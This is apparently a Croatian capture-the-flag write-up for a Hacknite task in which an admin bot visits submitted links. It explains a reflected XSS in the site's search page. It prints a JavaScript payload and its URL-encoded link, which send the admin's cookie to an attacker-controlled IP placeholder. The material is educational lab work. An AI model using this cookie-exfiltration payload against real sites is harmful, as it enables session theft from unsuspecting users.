This is an old revision of the document!
PRIMJER -Zadatak s Hacknite platforme - Korisni linkovi
Kako bi olakšao učenje sebi i svojim prijateljima, Mario je odlučio napraviti stranicu za razmjenjivanje linkova. On i njegovi prijatelji si mogu slati linkove zanimljivih članaka, tutoriala ili slično. Iako vjeruje svojim prijateljima, i zna da nisu zlonamjerni, nakon što mu netko od njih pošalje link, Mario se ulogira na stranicu svojim korisničkim imenom 'admin' i provjeri svaki poslani link tako što ode na njega i provjeri na koju stranicu link vodi. To ipak može potrajati nekoliko sekundi, jer Mario voli detaljnije proučiti stranicu na kojoj se nalazi. Početkom nove akademske godine, odlučio je proširiti stranicu, i sad je i drugi ljudi mogu koristiti. Mario ti je odlučio dati pristup stranici. Možeš se registrirati, ulogirati, i slati mu korisne linkove. Osim toga, odlučio ti je dati i source kod stranice na kojoj provjerava linkove tako da bi mogao vidjeti na koji on to točno radi. Flag je u formatu CTF2021[brojevi] http://chal.platforma.hacknite.hr:10008
U prilogu se nalazi još jedna php datoteka.
Ako pratimo poveznicu, dolazimo na početnu stranicu koja od nas traži registraciju. Nakon što su napravimo, došli smo do stranice gdje možemo odabrati osobu i link koji joj šaljemo. Primjećujemo mjesto za korisnički input koje, ako nema dobro riješeno pročišćavanje unosa, može biti potencijalno ranjivo.
Budući da iskorištavamo XSS ranjivost, prvo ćemo napraviti svoju web stranicu sa IP adresom {ip_zlonamjerne_stranice}. Marijeva stranica sadrži dio za pretraživanje linkova te ćemo u njega upisati
[javascript] document.location="http://{ip__zlonamjerne_stranice}/?c="+document.cookie;[/javascript]
Budući da Marijeva stranica ne radi nikakvu provjeru predanih linkova,ovaj JavaScript kod će se izvršiti. Preko parametra c poslani su kolačići s trenutne stranice na našu, zlonamjernu. Nakon toga na Marijevoj stranici kao ulogirani korisnik odaberemo podstranicu za slanje novih linkova. Administratoru (Mariju) pošaljemo sljedeći link:
http://ip_adresa_zadatka/search.php?query=%3Cscript%3Edocument.location%3D%22http%3A%2F%2F{ip_zlonamjerne_stranice}%2F%3Fc%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E
Ovime smo kao query parameter unijeli skriptu koja prebacuje našu trenutnu lokaciju na ip_zlonamjerne_stranice i opet smo kao c parametar unijeli document.cookie. Za razumijevanje linka važni su ovi znakovi:
%3C <
%3E >
%3D =
%22 “
%3A :
%3F ?
%2F /
%3B ;
Kad prevedemo link na taj način, uočit ćemo da je isti kao onaj koji smo na početku upisali u svoju zlonamjernu stranicu. Ova naredba unutar <script> taga nam je omogućila da se ispiše flag koji je sadržan u kolačiću. Desetak sekundi nakon slanja ove naredbe trebao bi se pojaviti flag u logu dockera.